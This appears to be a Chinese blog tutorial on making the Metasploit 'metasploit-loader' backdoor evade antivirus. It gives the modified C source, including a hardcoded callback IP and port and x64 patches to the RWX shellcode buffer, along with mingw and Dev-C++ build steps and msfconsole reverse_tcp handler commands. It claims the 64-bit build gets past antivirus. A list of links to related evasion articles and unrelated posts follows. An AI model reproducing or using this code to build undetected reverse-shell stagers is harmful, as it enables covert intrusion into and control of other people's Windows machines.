免杀之:MSF后门metasploit-loader免杀

1 metasploit-loader后门代码

  1. rsmudge/metasploit-loader: A client compatible with Metasploit's staging protocol (github.com)

2 在kali中编译metasploit-loader x32后门:已无法免杀

2.1 准备环境

  1. Kali安装编译器:apt-get update && apt install mingw-w64

2.2 编辑main.c脚本

  1. 进入/metasploit-loader/src/目录下:main.c脚本

    // 1. 将 include winsock2.h 放置于 windows.h 之前
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>
    #include <windows.h> // 2. 找到以下内容
    if (argc != 3) {
    printf(“%s [host] [port]\n”, argv[0]);
    exit(1);
    } /* connect to the handler */
    SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); // 用下面的代码替换上面的代码
    /* connect to the handler */
    SOCKET my_socket = wsconnect(“yourip”, yourport);

2.3 编译软件

i686-w64-mingw32-gcc main.c -o loadmeta.exe -lws2_32

2.4 利用

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.50.2
run -j

2.5 参考

Bypassing AV through Metasploit Loader 32-Bit | by goswamiijaya | SecureBit | Medium

3 使用Dev C ++工具编译metasploit-loader x64后门:可免杀

3.1 准备环境

  1. Dev-C++ download | SourceForge.net

3.2 编辑main.c脚本

  1. 创建一个新的Project ,设置项目为:C Project --> application as a Console Application --> Loader64

  2. 确认GCC为:TDM-GCC 4.9.2 64-bit Release

  3. 使用main.c脚本替换默认的代码,并保存为Loader64.c

  4. 将 include winsock2.h 放置于 windows.h 之前

    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>
    #include <windows.h>
  5. 因为64-Bit需要增加处理字节,修改Loader64.c代码:106行至121行代码如下:

    	/* allocate a RWX buffer */
    buffer = VirtualAlloc(0, size + 10, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buffer == NULL)
    punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register
    thanks mihi for pointing this out
    BF 78 56 34 12 => mov edi, 0x12345678 */
    buffer[0] = 0x48;
    buffer[1] = 0xBF; /* copy the value of our socket to the buffer */
    memcpy(buffer + 2, &my_socket, 8); /* read bytes into the buffer */
    count = recv_all(my_socket, buffer + 10, size);
    • Line 107- 替换: size+ 5-> size+10
    • Line 114- 增加: buffer[0] = 0x48; # as mov in hex is 48
    • Line 115- 增加: buffer[1] = 0xBF; # as rdi in hex is BF
    • Line 118- 替换: 1->2 & 4->8
    • Line 121- 替换: 5->10

  6. 配置指定的远程反弹IP与端口

    // 找到以下内容
    if (argc != 3) {
    printf(“%s [host] [port]\n”, argv[0]);
    exit(1);
    } /* connect to the handler */
    SOCKET my_socket = wsconnect(argv[1], atoi(argv[2])); // 用下面的代码替换上面的代码
    /* connect to the handler */
    SOCKET my_socket = wsconnect(“yourip”, yourport);

3.3 编译软件

  1. 添加编译选项:Tools --> Compiler Options --> -lws2_32

  2. 点击Compiler and Run编译

3.4 利用

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.50.2
run -j

3.5 可过杀软

3.5 参考

Bypassing AV through Metasploit Loader 64-Bit | by goswamiijaya | SecureBit | Medium

免杀之:MSF后门metasploit-loader免杀的更多相关文章

  1. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  2. [源码]Delphi源码免杀之函数动态调用 实现免杀的下载者

    [免杀]Delphi源码免杀之函数动态调用 实现免杀的下载者 2013-12-30 23:44:21         来源:K8拉登哥哥's Blog   自己编译这份代码看看 过N多杀软  没什么技 ...

  3. 开源网站云查杀方案,搭建自己的云杀毒-搭建ClamAV服务器

    开源网站云查杀方案,搭建自己的云杀毒 搭建ClamAV服务器 1        前言: 在上一篇我们已经演示了整个方案,传送门<开源网站云查杀方案,搭建自己的云杀毒>:https://ww ...

  4. msf后门之persistence

    在获取得了meterpreter shell后 使用Persistence建立持续性后门 run persistence -h meterpreter > run persistence -h ...

  5. php一句话后门过狗姿势万千之传输层加工(1)

    写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...

  6. PHP一句话后门过狗姿势万千之理论篇

    写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面. 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人 ...

  7. Exp3 免杀原理与实践

    一.实验过程 1.编码器 (1)使用msf编码器,直接生成meterpreter可执行文件(跟Exp2中生成backdoor.exe的过程一样,生成后门文件),送到Virscan.VirusTotal ...

  8. Exp3 免杀原理与实践 20164314 郭浏聿

    一.实践内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 2.通过组合应用各种技术实现恶意代码免杀(0.5分) ...

  9. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  10. 2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践

    2017-2018-2 20155303 『网络对抗技术』Exp3:免杀原理与实践 --------CONTENTS-------- 1. 免杀原理与实践说明 实验说明 基础问题回答 2. 使用msf ...

随机推荐

  1. web项目的开发--第一天

    如何分析需求.如何设计.编码实现.测试. 用ssm架构实现CRM项目代码编写. CRM项目: 关键是养成好的编程思想和编程习惯. 技术架构 视图层(view): 展示数据,跟用户交互. html,cs ...

  2. 4.6:HBase操作实验

    〇.概述 1.拓扑结构 2.目标 进行Hbase实验来熟悉Hbase的基本操作. 一.基本操作 1.启动进程 16610 2.连接集群 3.常见操作

  3. MySQL基础知识(二)-超详细 Linux安装MySQL5.7完整版教程及遇到的坑

    1.简介 我们经常会在Linux上安装MySQL数据库,但是安装的时候总是会这里错,那里错,不顺利,今天整理了一下安装流程,连续安装来了两遍,没有遇到什么大错误,基本上十分钟左右可以搞定,教程如下.写 ...

  4. 数据科学家赚多少?基于pandasql和plotly的薪资分析与可视化 ⛵

    作者:韩信子@ShowMeAI 数据分析实战系列:https://www.showmeai.tech/tutorials/40 AI 岗位&攻略系列:https://www.showmeai. ...

  5. Flutter和Rust如何优雅的交互

    前言 文章的图片链接都是在github上,可能需要...你懂得:本文含有大量关键步骤配置图片,强烈建议在合适环境下阅读 Flutter直接调用C层还是蛮有魅力,想想你练习C++,然后直接能用flutt ...

  6. web框架推导 wsgiref模块 jinja2模板语法 django框架简介 django基本操作

    目录 纯手撸web框架 web框架的本质 手写web框架 存在的问题 基于wsgiref模块 基本介绍 推导流程 代码封装优化 总结 动静态网页 jinja2模块 前端.后端.数据库三者联动 推导流程 ...

  7. java中生成随机数

    本文主要讲述java中如何生成随机数. public class RandomTest { public static void main(String[] args) { // 生成随机数 方法1: ...

  8. MyBatis是如何初始化的?

    摘要:我们知道MyBatis和数据库的交互有两种方式有Java API和Mapper接口两种,所以MyBatis的初始化必然也有两种:那么MyBatis是如何初始化的呢? 本文分享自华为云社区< ...

  9. [python]《Python编程快速上手:让繁琐工作自动化》学习笔记1

    1. 模式匹配与正则表达式笔记(第7章)(代码下载) 正则表达式,又称规则表达式.(英语:Regular Expression,在代码中常简写为regex.regexp或RE),计算机科学的一个概念. ...

  10. 1.5万字总结 Redis 常见面试题&知识点

    以下内容来源于于我开源的 JavaGuide (Java学习&&面试指南,Github 130k star,370人共同参与爱完善), 万字总结,质量有保障! 这篇文章最早写于2019 ...